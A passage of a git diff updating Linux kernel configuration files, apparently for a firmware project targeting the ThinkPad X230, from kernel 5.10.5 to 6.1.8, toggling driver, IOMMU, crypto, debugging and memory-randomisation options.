CONFIG_GREYBUS is not set +# CONFIG_COMEDI is not set # CONFIG_STAGING is not set -# CONFIG_X86_PLATFORM_DEVICES is not set -CONFIG_PMC_ATOM=y # CONFIG_CHROME_PLATFORMS is not set # CONFIG_MELLANOX_PLATFORM is not set +CONFIG_SURFACE_PLATFORMS=n +# CONFIG_SURFACE_GPE is not set +# CONFIG_SURFACE_PRO3_BUTTON is not set +CONFIG_X86_PLATFORM_DEVICES=y +# CONFIG_ACPI_WMI is not set +# CONFIG_ACERHDF is not set +# CONFIG_ACER_WIRELESS is not set +# CONFIG_AMD_PMF is not set +# CONFIG_AMD_PMC is not set +# CONFIG_ADV_SWBUTTON is not set +# CONFIG_APPLE_GMUX is not set +# CONFIG_ASUS_LAPTOP is not set +# CONFIG_ASUS_WIRELESS is not set +# CONFIG_X86_PLATFORM_DRIVERS_DELL is not set +# CONFIG_FUJITSU_LAPTOP is not set +# CONFIG_FUJITSU_TABLET is not set +# CONFIG_GPD_POCKET_FAN is not set +# CONFIG_HP_ACCEL is not set +# CONFIG_WIRELESS_HOTKEY is not set +# CONFIG_IBM_RTL is not set +# CONFIG_SENSORS_HDAPS is not set +# CONFIG_INTEL_SAR_INT1092 is not set +# CONFIG_INTEL_PMC_CORE is not set + +# +# Intel Speed Select Technology interface support +# +# CONFIG_INTEL_SPEED_SELECT_INTERFACE is not set +# end of Intel Speed Select Technology interface support + +# +# Intel Uncore Frequency Control +# +# CONFIG_INTEL_UNCORE_FREQ_CONTROL is not set +# end of Intel Uncore Frequency Control + +# CONFIG_INTEL_PUNIT_IPC is not set +# CONFIG_INTEL_RST is not set +# CONFIG_INTEL_SMARTCONNECT is not set +# CONFIG_INTEL_TURBO_MAX_3 is not set +# CONFIG_INTEL_VSEC is not set +# CONFIG_SAMSUNG_LAPTOP is not set +# CONFIG_SAMSUNG_Q10 is not set +# CONFIG_TOSHIBA_BT_RFKILL is not set +# CONFIG_TOSHIBA_HAPS is not set +# CONFIG_ACPI_CMPC is not set +# CONFIG_PANASONIC_LAPTOP is not set +# CONFIG_TOPSTAR_LAPTOP is not set +# CONFIG_INTEL_IPS is not set +# CONFIG_INTEL_SCU_PCI is not set +# CONFIG_INTEL_SCU_PLATFORM is not set +# CONFIG_SIEMENS_SIMATIC_IPC is not set +# CONFIG_WINMATE_FM07_KEYS is not set +# CONFIG_P2SB is not set CONFIG_HAVE_CLK=y -CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y -# CONFIG_COMMON_CLK_MAX9485 is not set -# CONFIG_COMMON_CLK_SI5341 is not set -# CONFIG_COMMON_CLK_SI5351 is not set -# CONFIG_COMMON_CLK_SI544 is not set -# CONFIG_COMMON_CLK_CDCE706 is not set -# CONFIG_COMMON_CLK_CS2000_CP is not set +# CONFIG_XILINX_VCU is not set # CONFIG_HWSPINLOCK is not set # @@ -1921,7 +1884,11 @@ CONFIG_IOMMU_SUPPORT=y # # end of Generic IOMMU Pagetable Support +# CONFIG_IOMMU_DEFAULT_DMA_STRICT is not set +CONFIG_IOMMU_DEFAULT_DMA_LAZY=y # CONFIG_IOMMU_DEFAULT_PASSTHROUGH is not set +CONFIG_IOMMU_DMA=y +CONFIG_IOMMU_SVA=y # CONFIG_AMD_IOMMU is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y @@ -1955,11 +1922,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of Amlogic SoC drivers -# -# Aspeed SoC drivers -# -# end of Aspeed SoC drivers - # # Broadcom SoC drivers # @@ -1970,11 +1932,21 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # end of NXP/Freescale QorIQ SoC drivers +# +# fujitsu SoC drivers +# +# end of fujitsu SoC drivers + # # i.MX SoC drivers # # end of i.MX SoC drivers +# +# Enable LiteX SoC Builder specific drivers +# +# end of Enable LiteX SoC Builder specific drivers + # # Qualcomm SoC drivers # @@ -1985,7 +1957,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Xilinx SoC drivers # -# CONFIG_XILINX_VCU is not set # end of Xilinx SoC drivers # end of SOC (System On Chip) specific Drivers @@ -1994,7 +1965,6 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set -# CONFIG_VME_BUS is not set # CONFIG_PWM is not set # @@ -2010,7 +1980,14 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # CONFIG_GENERIC_PHY is not set # CONFIG_USB_LGM_PHY is not set +# CONFIG_PHY_CAN_TRANSCEIVER is not set + +# +# PHY drivers for Broadcom platforms +# # CONFIG_BCM_KONA_USB2_PHY is not set +# end of PHY drivers for Broadcom platforms + # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_PHY_INTEL_LGM_EMMC is not set @@ -2030,16 +2007,16 @@ CONFIG_INTEL_IOMMU_FLOPPY_WA=y # # Android # -# CONFIG_ANDROID is not set +# CONFIG_ANDROID_BINDER_IPC is not set # end of Android CONFIG_LIBNVDIMM=y # CONFIG_BLK_DEV_PMEM is not set -# CONFIG_ND_BLK is not set # CONFIG_BTT is not set # CONFIG_DAX is not set CONFIG_NVMEM=y # CONFIG_NVMEM_SYSFS is not set +# CONFIG_NVMEM_RMEM is not set # # HW tracing support @@ -2049,11 +2026,12 @@ CONFIG_NVMEM=y # end of HW tracing support # CONFIG_FPGA is not set -# CONFIG_UNISYS_VISORBUS is not set # CONFIG_SIOX is not set # CONFIG_SLIMBUS is not set # CONFIG_INTERCONNECT is not set # CONFIG_COUNTER is not set +# CONFIG_PECI is not set +# CONFIG_HTE is not set # end of Device Drivers # @@ -2079,10 +2057,8 @@ CONFIG_FS_MBCACHE=y # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set -# CONFIG_FS_DAX is not set # CONFIG_EXPORTFS_BLOCK_OPS is not set CONFIG_FILE_LOCKING=y -CONFIG_MANDATORY_FILE_LOCKING=y # CONFIG_FS_ENCRYPTION is not set # CONFIG_FS_VERITY is not set # CONFIG_DNOTIFY is not set @@ -2121,6 +2097,7 @@ CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" CONFIG_EXFAT_FS=y CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" # CONFIG_NTFS_FS is not set +# CONFIG_NTFS3_FS is not set # end of DOS/FAT/EXFAT/NT Filesystems # @@ -2136,9 +2113,10 @@ CONFIG_KERNFS=y CONFIG_SYSFS=y # CONFIG_TMPFS is not set # CONFIG_HUGETLBFS is not set +CONFIG_ARCH_WANT_HUGETLB_PAGE_OPTIMIZE_VMEMMAP=y CONFIG_ARCH_HAS_GIGANTIC_PAGE=y # CONFIG_CONFIGFS_FS is not set -CONFIG_EFIVAR_FS=m +# CONFIG_EFIVAR_FS is not set # end of Pseudo filesystems # CONFIG_MISC_FILESYSTEMS is not set @@ -2221,9 +2199,17 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization + +CONFIG_RANDSTRUCT_NONE=y +# CONFIG_RANDSTRUCT_FULL is not set +# CONFIG_RANDSTRUCT_PERFORMANCE is not set # end of Kernel hardening options # end of Security options @@ -2340,7 +2326,7 @@ CONFIG_CRYPTO_SHA512=y # # Ciphers # -# CONFIG_CRYPTO_AES is not set +CONFIG_CRYPTO_AES=y # CONFIG_CRYPTO_AES_TI is not set # CONFIG_CRYPTO_AES_NI_INTEL is not set # CONFIG_CRYPTO_BLOWFISH is not set @@ -2420,9 +2406,26 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_UTILS=y +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA1=y +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set +# CONFIG_CRC64_ROCKSOFT is not set # CONFIG_CRC_ITU_T is not set CONFIG_CRC32=y # CONFIG_CRC32_SELFTEST is not set @@ -2443,6 +2446,7 @@ CONFIG_XZ_DEC_X86=y # CONFIG_XZ_DEC_ARM is not set # CONFIG_XZ_DEC_ARMTHUMB is not set # CONFIG_XZ_DEC_SPARC is not set +# CONFIG_XZ_DEC_MICROLZMA is not set CONFIG_XZ_DEC_BCJ=y # CONFIG_XZ_DEC_TEST is not set CONFIG_DECOMPRESS_XZ=y @@ -2476,7 +2480,6 @@ CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y CONFIG_ARCH_HAS_COPY_MC=y CONFIG_ARCH_STACKWALK=y CONFIG_SBITMAP=y -# CONFIG_STRING_SELFTEST is not set # end of Library routines # @@ -2488,6 +2491,7 @@ CONFIG_SBITMAP=y # CONFIG_PRINTK_TIME=y # CONFIG_PRINTK_CALLER is not set +# CONFIG_STACKTRACE_BUILD_ID is not set CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7 CONFIG_CONSOLE_LOGLEVEL_QUIET=4 CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 @@ -2498,19 +2502,26 @@ CONFIG_SYMBOLIC_ERRNAME=y # CONFIG_DEBUG_BUGVERBOSE is not set # end of printk and dmesg options +CONFIG_DEBUG_KERNEL=y +# CONFIG_DEBUG_MISC is not set + # # Compile-time checks and compiler options # -# CONFIG_DEBUG_INFO is not set -# CONFIG_ENABLE_MUST_CHECK is not set +CONFIG_AS_HAS_NON_CONST_LEB128=y +CONFIG_DEBUG_INFO_NONE=y +# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set +# CONFIG_DEBUG_INFO_DWARF4 is not set +# CONFIG_DEBUG_INFO_DWARF5 is not set CONFIG_FRAME_WARN=1024 # CONFIG_STRIP_ASM_SYMS is not set # CONFIG_READABLE_ASM is not set # CONFIG_HEADERS_INSTALL is not set # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_SECTION_MISMATCH_WARN_ONLY=y -# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_32B is not set -CONFIG_STACK_VALIDATION=y +# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set +CONFIG_OBJTOOL=y +# CONFIG_VMLINUX_MAP is not set # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set # end of Compile-time checks and compiler options @@ -2529,22 +2540,28 @@ CONFIG_ARCH_HAS_UBSAN_SANITIZE_ALL=y CONFIG_HAVE_ARCH_KCSAN=y # end of Generic Kernel Debugging Instruments -CONFIG_DEBUG_KERNEL=y -# CONFIG_DEBUG_MISC is not set +# +# Networking Debugging +# +# CONFIG_NET_DEV_REFCNT_TRACKER is not set +# CONFIG_NET_NS_REFCNT_TRACKER is not set +# CONFIG_DEBUG_NET is not set +# end of Networking Debugging # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set +# CONFIG_SLUB_DEBUG is not set # CONFIG_PAGE_OWNER is not set +# CONFIG_PAGE_TABLE_CHECK is not set # CONFIG_PAGE_POISONING is not set # CONFIG_DEBUG_RODATA_TEST is not set CONFIG_ARCH_HAS_DEBUG_WX=y # CONFIG_DEBUG_WX is not set CONFIG_GENERIC_PTDUMP=y # CONFIG_DEBUG_OBJECTS is not set -# CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set @@ -2556,11 +2573,16 @@ CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y # CONFIG_DEBUG_VIRTUAL is not set # CONFIG_DEBUG_MEMORY_INIT is not set # CONFIG_DEBUG_PER_CPU_MAPS is not set +CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y +# CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP is not set CONFIG_HAVE_ARCH_KASAN=y CONFIG_HAVE_ARCH_KASAN_VMALLOC=y CONFIG_CC_HAS_KASAN_GENERIC=y CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y # CONFIG_KASAN is not set +CONFIG_HAVE_ARCH_KFENCE=y +# CONFIG_KFENCE is not set +CONFIG_HAVE_ARCH_KMSAN=y # end of Memory Debugging # CONFIG_DEBUG_SHIRQ is not set @@ -2574,16 +2596,13 @@ CONFIG_PANIC_TIMEOUT=0 CONFIG_LOCKUP_DETECTOR=y CONFIG_SOFTLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 CONFIG_HARDLOCKUP_DETECTOR_PERF=y CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set -CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 CONFIG_DETECT_HUNG_TASK=y CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=120 # CONFIG_BOOTPARAM_HUNG_TASK_PANIC is not set -CONFIG_BOOTPARAM_HUNG_TASK_PANIC_VALUE=0 CONFIG_WQ_WATCHDOG=y # CONFIG_TEST_LOCKUP is not set # end of Debug Oops, Lockups and Hangs @@ -2617,6 +2636,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_CSD_LOCK_WAIT_DEBUG is not set # end of Lock Debugging (spinlocks, mutexes, etc...) +# CONFIG_DEBUG_IRQFLAGS is not set # CONFIG_STACKTRACE is not set # CONFIG_WARN_ALL_UNSEEDED_RANDOM is not set # CONFIG_DEBUG_KOBJECT is not set @@ -2629,6 +2649,7 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_BUG_ON_DATA_CORRUPTION is not set +# CONFIG_DEBUG_MAPLE_TREE is not set # end of Debug kernel data structures # CONFIG_DEBUG_CREDENTIALS is not set @@ -2640,36 +2661,40 @@ CONFIG_LOCK_DEBUGGING_SUPPORT=y # CONFIG_RCU_TORTURE_TEST is not set # CONFIG_RCU_REF_SCALE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=21 +CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0 # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # end of RCU Debugging # CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set -# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set # CONFIG_LATENCYTOP is not set CONFIG_USER_STACKTRACE_SUPPORT=y +CONFIG_HAVE_RETHOOK=y CONFIG_HAVE_FUNCTION_TRACER=y -CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y CONFIG_HAVE_DYNAMIC_FTRACE=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y +CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y +CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y CONFIG_HAVE_FTRACE_MCOUNT_RECORD=y CONFIG_HAVE_SYSCALL_TRACEPOINTS=y CONFIG_HAVE_FENTRY=y +CONFIG_HAVE_OBJTOOL_MCOUNT=y CONFIG_HAVE_C_RECORDMCOUNT=y +CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y CONFIG_TRACING_SUPPORT=y # CONFIG_FTRACE is not set # CONFIG_PROVIDE_OHCI1394_DMA_INIT is not set # CONFIG_SAMPLES is not set +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y +CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y # CONFIG_STRICT_DEVMEM is not set # # x86 Debugging # -CONFIG_TRACE_IRQFLAGS_SUPPORT=y -CONFIG_TRACE_IRQFLAGS_NMI_SUPPORT=y # CONFIG_X86_VERBOSE_BOOTUP is not set CONFIG_EARLY_PRINTK=y # CONFIG_EARLY_PRINTK_DBGP is not set @@ -2678,8 +2703,8 @@ CONFIG_EARLY_PRINTK=y # CONFIG_DEBUG_TLBFLUSH is not set CONFIG_HAVE_MMIOTRACE_SUPPORT=y # CONFIG_X86_DECODER_SELFTEST is not set -CONFIG_IO_DELAY_0X80=y -# CONFIG_IO_DELAY_0XED is not set +# CONFIG_IO_DELAY_0X80 is not set +CONFIG_IO_DELAY_0XED=y # CONFIG_IO_DELAY_UDELAY is not set # CONFIG_IO_DELAY_NONE is not set # CONFIG_CPA_DEBUG is not set @@ -2702,6 +2727,12 @@ CONFIG_ARCH_HAS_KCOV=y CONFIG_CC_HAS_SANCOV_TRACE_PC=y # CONFIG_KCOV is not set # CONFIG_RUNTIME_TESTING_MENU is not set +CONFIG_ARCH_USE_MEMTEST=y # CONFIG_MEMTEST is not set # end of Kernel Testing and Coverage + +# +# Rust hacking +# +# end of Rust hacking # end of Kernel hacking diff --git a/config/linux-x230-legacy.config b/config/linux-x230-legacy.config index 792edc792..4a5052205 100644 --- a/config/linux-x230-legacy.config +++ b/config/linux-x230-legacy.config @@ -1,17 +1,21 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 -CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 +CONFIG_LD_IS_BFD=y +CONFIG_LD_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_CC_HAS_ASM_GOTO=y CONFIG_CC_HAS_ASM_INLINE=y +CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y +CONFIG_PAHOLE_VERSION=0 CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_TABLE_SORT=y CONFIG_THREAD_INFO_IN_TASK=y @@ -21,6 +25,7 @@ CONFIG_THREAD_INFO_IN_TASK=y # CONFIG_INIT_ENV_ARG_LIMIT=32 # CONFIG_COMPILE_TEST is not set +# CONFIG_WERROR is not set CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_BUILD_SALT="" @@ -40,7 +45,6 @@ CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_ZSTD is not set CONFIG_DEFAULT_INIT="" CONFIG_DEFAULT_HOSTNAME="(none)" -# CONFIG_SWAP is not set # CONFIG_SYSVIPC is not set # CONFIG_POSIX_MQUEUE is not set # CONFIG_WATCH_QUEUE is not set @@ -62,6 +66,7 @@ CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y CONFIG_GENERIC_MSI_IRQ_DOMAIN=y +CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y CONFIG_IRQ_FORCED_THREADING=y @@ -78,6 +83,8 @@ CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y +CONFIG_CONTEXT_TRACKING=y +CONFIG_CONTEXT_TRACKING_IDLE=y # # Timers subsystem @@ -89,11 +96,26 @@ CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set # CONFIG_NO_HZ is not set # CONFIG_HIGH_RES_TIMERS is not set +CONFIG_CLOCKSOURCE_WATCHDOG_MAX_SKEW_US=100 # end of Timers subsystem +CONFIG_BPF=y +CONFIG_HAVE_EBPF_JIT=y +CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y + +# +# BPF subsystem +# +# CONFIG_BPF_SYSCALL is not set +# CONFIG_BPF_JIT is not set +# end of BPF subsystem + +CONFIG_PREEMPT_NONE_BUILD=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set +# CONFIG_PREEMPT_DYNAMIC is not set +# CONFIG_SCHED_CORE is not set # # CPU/Task time and stats accounting @@ -117,7 +139,6 @@ CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y # end of RCU Subsystem -CONFIG_BUILD_BIN2C=y # CONFIG_IKCONFIG is not set # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 @@ -134,12 +155,15 @@ CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y +CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set -CONFIG_RELAY=y +# CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" CONFIG_INITRAMFS_ROOT_UID=0 @@ -154,13 +178,13 @@ CONFIG_RD_XZ=y CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_INITRAMFS_COMPRESSION_NONE is not set # CONFIG_BOOT_CONFIG is not set +# CONFIG_INITRAMFS_PRESERVE_MTIME is not set # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y -CONFIG_BPF=y CONFIG_EXPERT=y # CONFIG_MULTIUSER is not set # CONFIG_SGETMASK_SYSCALL is not set @@ -168,7 +192,6 @@ CONFIG_EXPERT=y # CONFIG_FHANDLE is not set CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y -CONFIG_PRINTK_NMI=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y # CONFIG_BASE_FULL is not set @@ -184,10 +207,8 @@ CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y # CONFIG_KALLSYMS is not set -# CONFIG_BPF_SYSCALL is not set -CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y -# CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -200,17 +221,6 @@ CONFIG_PERF_EVENTS=y # CONFIG_DEBUG_PERF_USE_VMALLOC is not set # end of Kernel Performance Events And Counters -# CONFIG_VM_EVENT_COUNTERS is not set -# CONFIG_SLUB_DEBUG is not set -# CONFIG_COMPAT_BRK is not set -# CONFIG_SLAB is not set -CONFIG_SLUB=y -# CONFIG_SLOB is not set -CONFIG_SLAB_MERGE_DEFAULT=y -# CONFIG_SLAB_FREELIST_RANDOM is not set -# CONFIG_SLAB_FREELIST_HARDENED is not set -# CONFIG_SHUFFLE_PAGE_ALLOCATOR is not set -CONFIG_SLUB_CPU_PARTIAL=y # CONFIG_PROFILING is not set # end of General setup @@ -232,17 +242,10 @@ CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y -CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y -CONFIG_ARCH_HAS_FILTER_PGPROT=y -CONFIG_HAVE_SETUP_PER_CPU_AREA=y -CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y -CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y -CONFIG_ARCH_WANT_GENERAL_HUGETLB=y -CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y -CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_HAVE_INTEL_TXT=y CONFIG_X86_64_SMP=y CONFIG_ARCH_SUPPORTS_UPROBES=y @@ -253,12 +256,10 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # # Processor type and features # -# CONFIG_ZONE_DMA is not set CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -293,22 +294,23 @@ CONFIG_CPU_SUP_INTEL=y CONFIG_HPET_TIMER=y CONFIG_HPET_EMULATE_RTC=y CONFIG_DMI=y +CONFIG_BOOT_VESA_SUPPORT=y # CONFIG_MAXSMP is not set CONFIG_NR_CPUS_RANGE_BEGIN=2 CONFIG_NR_CPUS_RANGE_END=512 CONFIG_NR_CPUS_DEFAULT=64 -CONFIG_NR_CPUS=64 +CONFIG_NR_CPUS=32 +CONFIG_SCHED_CLUSTER=y CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y -CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS=y +# CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y # CONFIG_X86_MCELOG_LEGACY is not set CONFIG_X86_MCE_INTEL=y CONFIG_X86_MCE_THRESHOLD=y -CONFIG_X86_THERMAL_VECTOR=y # # Performance monitoring @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -329,16 +330,14 @@ CONFIG_X86_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y -CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_X86_PMEM_LEGACY_DEVICE=y CONFIG_X86_PMEM_LEGACY=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set -CONFIG_X86_RESERVE_LOW=64 # CONFIG_MTRR is not set -CONFIG_ARCH_RANDOM=y -# CONFIG_X86_SMAP is not set -# CONFIG_X86_UMIP is not set +CONFIG_X86_UMIP=y +CONFIG_CC_HAS_IBT=y +# CONFIG_X86_KERNEL_IBT is not set # CONFIG_X86_INTEL_MEMORY_PROTECTION_KEYS is not set CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set @@ -356,22 +355,32 @@ CONFIG_ARCH_HAS_KEXEC_PURGATORY=y # CONFIG_KEXEC_SIG is not set # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 -# CONFIG_RELOCATABLE is not set +CONFIG_RELOCATABLE=y +CONFIG_RANDOMIZE_BASE=y +CONFIG_X86_NEED_RELOCS=y CONFIG_PHYSICAL_ALIGN=0x1000000 +CONFIG_DYNAMIC_MEMORY_LAYOUT=y +CONFIG_RANDOMIZE_MEMORY=y +CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set -# CONFIG_LEGACY_VSYSCALL_EMULATE is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set 